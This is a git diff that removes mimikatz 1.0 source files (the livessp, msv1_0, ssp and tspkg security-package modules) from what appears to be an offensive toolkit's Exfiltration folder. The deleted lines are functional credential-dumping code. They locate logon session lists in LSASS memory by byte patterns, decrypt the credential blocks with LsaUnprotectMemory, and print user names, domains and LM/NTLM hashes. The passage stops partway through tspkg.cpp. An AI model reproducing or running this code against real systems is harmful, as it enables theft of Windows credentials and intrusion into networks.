fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "livessp.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_livessp::pModLIVESSP = NULL; -mod_mimikatz_sekurlsa_livessp::PKIWI_LIVESSP_LIST_ENTRY mod_mimikatz_sekurlsa_livessp::LiveGlobalLogonSessionList = NULL;//reinterpret_cast(NULL); - -bool mod_mimikatz_sekurlsa_livessp::getLiveSSP(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getLiveSSPLogonData, wstring(L"livessp"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_livessp::searchLiveGlobalLogonSessionList() -{ -#ifdef _M_X64 - BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x48, 0x83, 0x65, 0xdf, 0x00, 0x48, 0x83, 0x65, 0xef, 0x00, 0x48, 0x83, 0x65, 0xe7, 0x00}; -#elif defined _M_IX86 - BYTE PTRN_WALL_LiveUpdatePasswordForLogonSessions[] = {0x89, 0x5d, 0xdc, 0x89, 0x5d, 0xe4, 0x89, 0x5d, 0xe0}; -#endif - LONG OFFS_WALL_LiveUpdatePasswordForLogonSessions = -(5 + 4); - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModLIVESSP && !LiveGlobalLogonSessionList) - { - - PBYTE *pointeur = reinterpret_cast(&LiveGlobalLogonSessionList); - if(HMODULE monModule = LoadLibrary(L"livessp")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"livessp", PTRN_WALL_LiveUpdatePasswordForLogonSessions, sizeof(PTRN_WALL_LiveUpdatePasswordForLogonSessions), OFFS_WALL_LiveUpdatePasswordForLogonSessions); - *pointeur += pModLIVESSP->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (pModLIVESSP && LiveGlobalLogonSessionList); -} - -bool WINAPI mod_mimikatz_sekurlsa_livessp::getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchLiveGlobalLogonSessionList()) - { - PKIWI_GENERIC_PRIMARY_CREDENTIAL mesCreds = NULL; - BYTE * monBuffP = new BYTE[sizeof(KIWI_LIVESSP_LIST_ENTRY)], * monBuffC = new BYTE[sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL)]; - if(PKIWI_LIVESSP_LIST_ENTRY pLogSession = reinterpret_cast(mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LiveGlobalLogonSessionList), FIELD_OFFSET(KIWI_LIVESSP_LIST_ENTRY, LocallyUniqueIdentifier), logId))) - { - if(mod_memory::readMemory(pLogSession, monBuffP, sizeof(KIWI_LIVESSP_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) - { - pLogSession = reinterpret_cast(monBuffP); - if(pLogSession->suppCreds) - { - if(mod_memory::readMemory(pLogSession->suppCreds, monBuffC, sizeof(KIWI_LIVESSP_PRIMARY_CREDENTIAL), mod_mimikatz_sekurlsa::hLSASS)) - mesCreds = &(reinterpret_cast(monBuffC)->credentials); - } - else (*outputStream) << L"n.s. (SuppCred KO) / "; - } - } - mod_mimikatz_sekurlsa::genericCredsToStream(mesCreds, justSecurity, true); - delete [] monBuffC, monBuffP; - } - else (*outputStream) << L"n.a. (livessp KO)"; - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h deleted file mode 100644 index 891da632..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/livessp.h +++ /dev/null @@ -1,44 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_livessp { - -private: - typedef struct _KIWI_LIVESSP_PRIMARY_CREDENTIAL - { - DWORD isSupp; // 88h - DWORD unk0; - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_LIVESSP_PRIMARY_CREDENTIAL, *PKIWI_LIVESSP_PRIMARY_CREDENTIAL; - - typedef struct _KIWI_LIVESSP_LIST_ENTRY - { - struct _KIWI_LIVESSP_LIST_ENTRY *Flink; - struct _KIWI_LIVESSP_LIST_ENTRY *Blink; - PVOID unk0; // 1 - PVOID unk1; // 0FFFFFFFFh - PVOID unk2; // 0FFFFFFFFh - PVOID unk3; // 0 - DWORD unk4; // 0 - DWORD unk5; // 0 - PVOID unk6; // 20007D0h - LUID LocallyUniqueIdentifier; - LSA_UNICODE_STRING UserName; - PVOID unk7; // 2000010Dh - PKIWI_LIVESSP_PRIMARY_CREDENTIAL suppCreds; - } KIWI_LIVESSP_LIST_ENTRY, *PKIWI_LIVESSP_LIST_ENTRY; - - static PKIWI_LIVESSP_LIST_ENTRY LiveGlobalLogonSessionList; - static bool searchLiveGlobalLogonSessionList(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModLIVESSP; - static bool getLiveSSP(vector * arguments); - static bool WINAPI getLiveSSPLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp deleted file mode 100644 index 39fa015e..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.cpp +++ /dev/null @@ -1,217 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "msv1_0.h" -#include "..\..\global.h" -PLIST_ENTRY mod_mimikatz_sekurlsa_msv1_0::LogonSessionList = NULL; -PULONG mod_mimikatz_sekurlsa_msv1_0::LogonSessionListCount = NULL; - -bool mod_mimikatz_sekurlsa_msv1_0::getMSV(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getMSVLogonData, wstring(L"msv1_0"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_msv1_0::searchLogonSessionList() -{ -#ifdef _M_X64 - BYTE PTRN_WIN6_LogonSessionList[] = {0x4C, 0x03, 0xD8, 0x49, 0x8B, 0x03, 0x48, 0x89};//, 0x06, 0x4C, 0x89, 0x5E}; - BYTE PTRN_WIN5_LogonSessionList[] = {0x4C, 0x8B, 0xDF, 0x49, 0xC1, 0xE3, 0x04, 0x48, 0x8B, 0xCB, 0x4C, 0x03, 0xD8}; - - LONG OFFS_WALL_LogonSessionList = -sizeof(long); - LONG OFFS_WN60_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 3 + sizeof(long)); - LONG OFFS_WN61_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 8 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); - LONG OFFS_WIN5_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 6 + 3 + 8 + 4 + 4 + 2 + 3 + 2 + 2 + sizeof(long)); - LONG OFFS_WIN8_LogonSessionListCount = OFFS_WALL_LogonSessionList - (3 + 4 + 3 + 6 + 3 + 2 + 3 + 7 + 7 + 4 + 4 + 2 + 3 + 2 + sizeof(long)); -#elif defined _M_IX86 - BYTE PTRN_WNO8_LogonSessionList[] = {0x89, 0x71, 0x04, 0x89, 0x30, 0x8D, 0x04, 0xBD}; - BYTE PTRN_WIN8_LogonSessionList[] = {0x89, 0x79, 0x04, 0x89, 0x38, 0x8D, 0x04, 0xB5}; - BYTE PTRN_WN51_LogonSessionList[] = {0xFF, 0x50, 0x10, 0x85, 0xC0, 0x0F, 0x84}; - - LONG OFFS_WNO8_LogonSessionList = -(7 + (sizeof(LONG))); - LONG OFFS_WIN8_LogonSessionList = -(6 + 3 + 3 + 2 + 2 + (sizeof(LONG))); - LONG OFFS_WN51_LogonSessionList = sizeof(PTRN_WN51_LogonSessionList) + 4 + 5 + 1 + 6 + 1; - LONG OFFS_WNO8_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); - LONG OFFS_WIN5_LogonSessionListCount = OFFS_WNO8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 1 + 3 + 1 + sizeof(long)); - LONG OFFS_WIN8_LogonSessionListCount = OFFS_WIN8_LogonSessionList - (3 + 6 + 1 + 2 + 6 + 3 + 2 + 3 + 1 + sizeof(long)); -#endif - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && !LogonSessionList) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offsetListe = 0, offsetCount = 0; -#ifdef _M_X64 - offsetListe = OFFS_WALL_LogonSessionList; - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern = PTRN_WIN5_LogonSessionList; - taille = sizeof(PTRN_WIN5_LogonSessionList); - offsetCount = OFFS_WIN5_LogonSessionListCount; - } - else - { - pattern = PTRN_WIN6_LogonSessionList; - taille = sizeof(PTRN_WIN6_LogonSessionList); - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - offsetCount = (mod_system::GLOB_Version.dwMinorVersion < 1) ? OFFS_WN60_LogonSessionListCount : OFFS_WN61_LogonSessionListCount; - else - offsetCount = OFFS_WIN8_LogonSessionListCount; - } -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - if((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) - { - pattern = PTRN_WN51_LogonSessionList; - taille = sizeof(PTRN_WN51_LogonSessionList); - offsetListe = OFFS_WN51_LogonSessionList; - } - else - { - pattern = PTRN_WNO8_LogonSessionList; - taille = sizeof(PTRN_WNO8_LogonSessionList); - offsetListe = OFFS_WNO8_LogonSessionList; - offsetCount = (mod_system::GLOB_Version.dwMajorVersion < 6) ? OFFS_WIN5_LogonSessionListCount : OFFS_WNO8_LogonSessionListCount; - } - } - else - { - pattern = PTRN_WIN8_LogonSessionList; - taille = sizeof(PTRN_WIN8_LogonSessionList); - offsetListe = OFFS_WIN8_LogonSessionList; - offsetCount = OFFS_WIN8_LogonSessionListCount; - } -#endif - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), mod_mimikatz_sekurlsa::hLsaSrv, &mesInfos, sizeof(MODULEINFO))) - { - pointeur = reinterpret_cast(&LogonSessionList); - if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetListe)) - { - *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - if(offsetCount) - { - pointeur = reinterpret_cast(&LogonSessionListCount); - if(mod_memory::genericPatternSearch(pointeur, L"lsasrv", pattern, taille, offsetCount)) - *pointeur += mod_mimikatz_sekurlsa::pModLSASRV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - } - } - } - return (mod_mimikatz_sekurlsa::hLsaSrv && mod_mimikatz_sekurlsa::pModLSASRV && LogonSessionList && (((mod_system::GLOB_Version.dwMajorVersion == 5) && (mod_system::GLOB_Version.dwMinorVersion == 1)) || LogonSessionListCount)); -} - -bool WINAPI mod_mimikatz_sekurlsa_msv1_0::getMSVLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchLogonSessionList()) - { - LONG offsetToLuid, offsetToCredentials; - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, LocallyUniqueIdentifier); - offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_5, Credentials); - } - else - { - offsetToLuid = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, LocallyUniqueIdentifier); - offsetToCredentials = FIELD_OFFSET(KIWI_MSV1_0_LIST_6, Credentials); - if(mod_system::GLOB_Version.dwBuildNumber >= 8000) // pas encore pris le temps de regarder les structures de 8 - { -#ifdef _M_X64 - offsetToCredentials += 4*sizeof(PVOID); -#elif defined _M_IX86 - offsetToCredentials += 2*sizeof(PVOID); -#endif - } - } - - ULONG nbListes = 0; - if(LogonSessionListCount) - mod_memory::readMemory(LogonSessionListCount, &nbListes, sizeof(nbListes), mod_mimikatz_sekurlsa::hLSASS); - else nbListes = 1; - - PLIST_ENTRY pLogSession = NULL; - for(ULONG i = 0; i < nbListes; i++) - { - if(pLogSession = mod_mimikatz_sekurlsa::getPtrFromLinkedListByLuid(reinterpret_cast(LogonSessionList + i), offsetToLuid, logId)) - { - BYTE * kiwiMSVListEntry = new BYTE[offsetToCredentials + sizeof(PVOID)]; - if(mod_memory::readMemory(pLogSession, kiwiMSVListEntry, offsetToCredentials + sizeof(PVOID), mod_mimikatz_sekurlsa::hLSASS)) - { - PVOID monPtr = *reinterpret_cast(kiwiMSVListEntry + offsetToCredentials); - if(monPtr) - { - BYTE * kiwiMSVCredentials = new BYTE[sizeof(KIWI_MSV1_0_CREDENTIALS)]; - if(mod_memory::readMemory(monPtr, kiwiMSVCredentials, sizeof(KIWI_MSV1_0_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) - { - PKIWI_MSV1_0_CREDENTIALS mesCreds = reinterpret_cast(kiwiMSVCredentials); - if(mesCreds->PrimaryCredentials) - { - BYTE * kiwiMSVPrimaryCredentials = new BYTE[sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS)]; - if(mod_memory::readMemory(mesCreds->PrimaryCredentials, kiwiMSVPrimaryCredentials, sizeof(KIWI_MSV1_0_PRIMARY_CREDENTIALS), mod_mimikatz_sekurlsa::hLSASS)) - { - decryptAndDisplayCredsBlock(&reinterpret_cast(kiwiMSVPrimaryCredentials)->Credentials, justSecurity); - } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_PRIMARY_CREDENTIALS KO)"; - delete [] kiwiMSVPrimaryCredentials; - - } else (*outputStream) << L"n.s. (PrimaryCredentials KO)"; - - }else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_CREDENTIALS KO)"; - delete [] kiwiMSVCredentials; - - } else (*outputStream) << L"n.s. (Credentials KO)"; - - } else (*outputStream) << L"n.e. (Lecture KIWI_MSV1_0_LIST KO)"; - delete [] kiwiMSVListEntry; - - break; - } - } - if(!pLogSession) - (*outputStream) << L"n.t. (LUID KO)"; - } - else (*outputStream) << L"n.a. (msv1_0 KO)"; - return true; -} - -bool mod_mimikatz_sekurlsa_msv1_0::decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity) -{ - if(monBlock->Length > 0 && monBlock->MaximumLength > 0 && monBlock->Buffer) - { - BYTE * monBuffer = new BYTE[monBlock->MaximumLength]; - if(mod_memory::readMemory(monBlock->Buffer, monBuffer, monBlock->MaximumLength, mod_mimikatz_sekurlsa::hLSASS)) - { - mod_mimikatz_sekurlsa::SeckPkgFunctionTable->LsaUnprotectMemory(monBuffer, monBlock->Length); - PMSV1_0_PRIMARY_CREDENTIAL mesCreds = reinterpret_cast(monBuffer); - - NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->UserName, false); - NlpMakeRelativeOrAbsoluteString(mesCreds, &mesCreds->LogonDomainName, false); - - wstring lmHash = mod_text::stringOfHex(mesCreds->LmOwfPassword, sizeof(mesCreds->LmOwfPassword)); - wstring ntHash = mod_text::stringOfHex(mesCreds->NtOwfPassword, sizeof(mesCreds->NtOwfPassword)); - - if(justSecurity) - (*outputStream) << L"lm{ " << lmHash << L" }, ntlm{ " << ntHash << L" }"; - else - { - (*outputStream) << endl << - L"\t * Utilisateur : " << mod_text::stringOfSTRING(mesCreds->UserName) << endl << - L"\t * Domaine : " << mod_text::stringOfSTRING(mesCreds->LogonDomainName) << endl << - L"\t * Hash LM : " << lmHash << endl << - L"\t * Hash NTLM : " << ntHash; - } - } else (*outputStream) << L"n.e. (Lecture Block Credentials KO)"; - - delete [] monBuffer; - } else (*outputStream) << L"n.s. (Block Credentials KO)"; - - return true; -} - -void mod_mimikatz_sekurlsa_msv1_0::NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative) -{ - if(String->Buffer) - String->Buffer = reinterpret_cast(reinterpret_cast(String->Buffer) + ((relative ? -1 : 1) * reinterpret_cast(BaseAddress))); -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h deleted file mode 100644 index cf8ccac4..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/msv1_0.h +++ /dev/null @@ -1,105 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_msv1_0 { - -private: - typedef struct _KIWI_MSV1_0_PRIMARY_CREDENTIALS { - PVOID unk0; // next? - LSA_UNICODE_STRING Primary; - LSA_UNICODE_STRING Credentials; - } KIWI_MSV1_0_PRIMARY_CREDENTIALS, *PKIWI_MSV1_0_PRIMARY_CREDENTIALS; - - typedef struct _KIWI_MSV1_0_CREDENTIALS { - PVOID unk0; // next? - DWORD AuthenticationPackageId; - PVOID PrimaryCredentials; - } KIWI_MSV1_0_CREDENTIALS, *PKIWI_MSV1_0_CREDENTIALS; - - typedef struct _KIWI_MSV1_0_LIST_5 { - struct _KIWI_MSV1_0_LIST_5 *Flink; - struct _KIWI_MSV1_0_LIST_5 *Blink; - LUID LocallyUniqueIdentifier; - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING Domaine; - PVOID unk14; // 0 - PVOID unk15; // 0 - PVOID unk16; // offset unk_181A080 - DWORD unk17; // 0Ah - DWORD unk18; // 2 - #ifdef _M_IX86 - DWORD unk19; - #endif - DWORD unk20; // 5AC4186Ch - DWORD unk21; // 1CD6BFDh - LSA_UNICODE_STRING LogonServer; - PKIWI_MSV1_0_CREDENTIALS Credentials; - PVOID unk22; // 0C14h - PVOID unk23; // 0BFCh - } KIWI_MSV1_0_LIST_5, *PKIWI_MSV1_0_LIST_5; - - typedef struct _KIWI_MSV1_0_LIST_6 { - struct _KIWI_MSV1_0_LIST_6 *Flink; - struct _KIWI_MSV1_0_LIST_6 *Blink; - PVOID unk0; // unk_18457A0 - DWORD unk1; // 0FFFFFFFFh - DWORD unk2; // 0 - PVOID unk3; // 0 - PVOID unk4; // 0 - PVOID unk5; // 0 - PVOID unk6; // 0C04h - PVOID unk7; // 0 - PVOID unk8; // 0C08h - PVOID unk9; // 0 - PVOID unk10; // 0 - DWORD unk11; // 0 - DWORD unk12; // 0 - PVOID unk13; // offset off_18456A0 - LUID LocallyUniqueIdentifier; - LUID SecondaryLocallyUniqueIdentifier; - LSA_UNICODE_STRING UserName; - LSA_UNICODE_STRING Domaine; - PVOID unk14; // 0 Windows 8 + 2*PVOID / 4*PVOID!! - PVOID unk15; // 0 - PVOID unk16; // offset unk_181A080 - DWORD unk17; // 0Ah - DWORD unk18; // 2 - #ifdef _M_IX86 - DWORD unk19; - #endif - DWORD unk20; // 5AC4186Ch - DWORD unk21; // 1CD6BFDh - LSA_UNICODE_STRING LogonServer; - PKIWI_MSV1_0_CREDENTIALS Credentials; - PVOID unk22; // 0C14h - PVOID unk23; // 0BFCh - } KIWI_MSV1_0_LIST_6, *PKIWI_MSV1_0_LIST_6; - - typedef struct _MSV1_0_PRIMARY_CREDENTIAL { - LSA_UNICODE_STRING LogonDomainName; - LSA_UNICODE_STRING UserName; - BYTE NtOwfPassword[0x10]; - BYTE LmOwfPassword[0x10]; - BOOLEAN NtPasswordPresent; - BOOLEAN LmPasswordPresent; - wchar_t BuffDomaine[MAX_DOMAIN_LEN]; - wchar_t BuffUserName[MAX_USERNAME_LEN]; - } MSV1_0_PRIMARY_CREDENTIAL, *PMSV1_0_PRIMARY_CREDENTIAL; - - static void NlpMakeRelativeOrAbsoluteString(PVOID BaseAddress, PLSA_UNICODE_STRING String, bool relative = true); - - static PLIST_ENTRY LogonSessionList; - static PULONG LogonSessionListCount; - static bool searchLogonSessionList(); - - static bool decryptAndDisplayCredsBlock(LSA_UNICODE_STRING * monBlock, bool justSecurity); -public: - static bool getMSV(vector * arguments); - static bool WINAPI getMSVLogonData(__in PLUID logId, __in bool justSecurity); -}; \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp deleted file mode 100644 index 86dab86b..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.cpp +++ /dev/null @@ -1,92 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "ssp.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_ssp::pModMSV = NULL; -mod_mimikatz_sekurlsa_ssp::PKIWI_SSP_CREDENTIAL_LIST_ENTRY mod_mimikatz_sekurlsa_ssp::SspCredentialList = NULL; - -bool mod_mimikatz_sekurlsa_ssp::getSSP(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getSSPLogonData, wstring(L"ssp"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_ssp::searchSSPEntryList() -{ -#ifdef _M_X64 - BYTE PTRN_WIN5_SspCredentialList[]= {0xc7, 0x43, 0x24, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; - LONG OFFS_WIN5_SspCredentialList = sizeof(PTRN_WIN5_SspCredentialList) + 4 + 3; - BYTE PTRN_WIN6_SspCredentialList[]= {0xc7, 0x47, 0x24, 0x43, 0x72, 0x64, 0x41, 0x48, 0x89, 0x47, 0x78, 0xff, 0x15}; - LONG OFFS_WIN6_SspCredentialList = sizeof(PTRN_WIN6_SspCredentialList) + 4 + 3; -#elif defined _M_IX86 - BYTE PTRN_WALL_SspCredentialList[]= {0x1c, 0x43, 0x72, 0x64, 0x41, 0xff, 0x15}; - LONG OFFS_WALL_SspCredentialList = sizeof(PTRN_WALL_SspCredentialList) + 4 + 1; -#endif - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModMSV && !SspCredentialList) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - pointeur= reinterpret_cast(&SspCredentialList); - -#ifdef _M_X64 - if(mod_system::GLOB_Version.dwMajorVersion < 6) - { - pattern = PTRN_WIN5_SspCredentialList; - taille = sizeof(PTRN_WIN5_SspCredentialList); - offset = OFFS_WIN5_SspCredentialList; - } - else - { - pattern = PTRN_WIN6_SspCredentialList; - taille = sizeof(PTRN_WIN6_SspCredentialList); - offset = OFFS_WIN6_SspCredentialList; - } -#elif defined _M_IX86 - pattern = PTRN_WALL_SspCredentialList; - taille = sizeof(PTRN_WALL_SspCredentialList); - offset = OFFS_WALL_SspCredentialList; -#endif - if(HMODULE monModule = LoadLibrary(L"msv1_0")) - { - MODULEINFO mesInfos; - if(GetModuleInformation(GetCurrentProcess(), monModule, &mesInfos, sizeof(MODULEINFO))) - { - mod_memory::genericPatternSearch(pointeur, L"msv1_0", pattern, taille, offset); - *pointeur += pModMSV->modBaseAddr - reinterpret_cast(mesInfos.lpBaseOfDll); - } - FreeLibrary(monModule); - } - } - return (SspCredentialList != NULL); -} - -bool WINAPI mod_mimikatz_sekurlsa_ssp::getSSPLogonData(__in PLUID logId, __in bool justSecurity) -{ - if(searchSSPEntryList()) - { - KIWI_SSP_CREDENTIAL_LIST_ENTRY mesCredentials; - DWORD monNb = 0; - if(mod_memory::readMemory(SspCredentialList, &mesCredentials, sizeof(LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) - { - while(mesCredentials.Flink != SspCredentialList) - { - if(mod_memory::readMemory(mesCredentials.Flink, &mesCredentials, sizeof(KIWI_SSP_CREDENTIAL_LIST_ENTRY), mod_mimikatz_sekurlsa::hLSASS)) - { - if(RtlEqualLuid(logId, &(mesCredentials.LogonId))) - { - mod_mimikatz_sekurlsa::genericCredsToStream(&mesCredentials.credentials, justSecurity, true, &monNb); - monNb++; - } - } - } - } - } - else (*outputStream) << L"n.a. (SSP KO)"; - - return true; -} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h deleted file mode 100644 index d2d53960..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/ssp.h +++ /dev/null @@ -1,32 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#pragma once -#include "../mod_mimikatz_sekurlsa.h" - -class mod_mimikatz_sekurlsa_ssp { - -private: - typedef struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY { - struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Flink; - struct _KIWI_SSP_CREDENTIAL_LIST_ENTRY *Blink; - ULONG References; - ULONG CredentialReferences; - LUID LogonId; - ULONG unk0; - ULONG unk1; - ULONG unk2; - KIWI_GENERIC_PRIMARY_CREDENTIAL credentials; - } KIWI_SSP_CREDENTIAL_LIST_ENTRY, *PKIWI_SSP_CREDENTIAL_LIST_ENTRY; - - static PKIWI_SSP_CREDENTIAL_LIST_ENTRY SspCredentialList; - static bool searchSSPEntryList(); - -public: - static mod_process::PKIWI_VERY_BASIC_MODULEENTRY pModMSV; - static bool getSSP(vector * arguments); - static bool WINAPI getSSPLogonData(__in PLUID logId, __in bool justSecurity); -}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp deleted file mode 100644 index 71e3751d..00000000 --- a/Exfiltration/mimikatz-1.0/mimikatz/modules/Security Packages/tspkg.cpp +++ /dev/null @@ -1,94 +0,0 @@ -/* Benjamin DELPY `gentilkiwi` - http://blog.gentilkiwi.com - benjamin@gentilkiwi.com - Licence : http://creativecommons.org/licenses/by/3.0/fr/ - Ce fichier : http://creativecommons.org/licenses/by/3.0/fr/ -*/ -#include "tspkg.h" -#include "..\..\global.h" -mod_process::PKIWI_VERY_BASIC_MODULEENTRY mod_mimikatz_sekurlsa_tspkg::pModTSPKG = NULL; -PRTL_AVL_TABLE mod_mimikatz_sekurlsa_tspkg::TSGlobalCredTable = NULL; //reinterpret_cast(NULL); - -bool mod_mimikatz_sekurlsa_tspkg::getTsPkg(vector * arguments) -{ - vector> monProvider; - monProvider.push_back(make_pair(getTsPkgLogonData, wstring(L"tspkg"))); - return mod_mimikatz_sekurlsa::getLogonData(arguments, &monProvider); -} - -bool mod_mimikatz_sekurlsa_tspkg::searchTSPKGFuncs() -{ -#ifdef _M_X64 - BYTE PTRN_WALL_TSGlobalCredTable[] = {0x48, 0x83, 0xec, 0x20, 0x48, 0x8d, 0x0d}; - LONG OFFS_WALL_TSGlobalCredTable = sizeof(PTRN_WALL_TSGlobalCredTable); -#elif defined _M_IX86 - BYTE PTRN_WNO8_TSGlobalCredTable[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x51, 0x56, 0xbe}; - LONG OFFS_WNO8_TSGlobalCredTable = sizeof(PTRN_WNO8_TSGlobalCredTable); - - BYTE PTRN_WIN8_TSGlobalCredTable[] = {0x8b, 0xff, 0x53, 0xbb}; - LONG OFFS_WIN8_TSGlobalCredTable = sizeof(PTRN_WIN8_TSGlobalCredTable); -#endif - - if(mod_mimikatz_sekurlsa::searchLSASSDatas() && pModTSPKG && !TSGlobalCredTable) - { - PBYTE *pointeur = NULL; PBYTE pattern = NULL; ULONG taille = 0; LONG offset = 0; - - pointeur= reinterpret_cast(&TSGlobalCredTable); -#ifdef _M_X64 - pattern = PTRN_WALL_TSGlobalCredTable; - taille = sizeof(PTRN_WALL_TSGlobalCredTable); - offset = OFFS_WALL_TSGlobalCredTable; -#elif defined _M_IX86 - if(mod_system::GLOB_Version.dwBuildNumber < 8000) - { - pattern = PTRN_WNO8_TSGlobalCredTable; - taille = sizeof(PTRN_WNO8_TSGlobalCredTable); - offset = OFFS_WNO8_TSGlobalCredTable; - } - else - { - pattern = PTRN_WIN8_TSGlobalCredTable; - taille = sizeof(PTRN_WIN8_TSGlobalCredTable); - offset = OFFS_WIN8_TSGlobalCredTable; - } -#endif - - 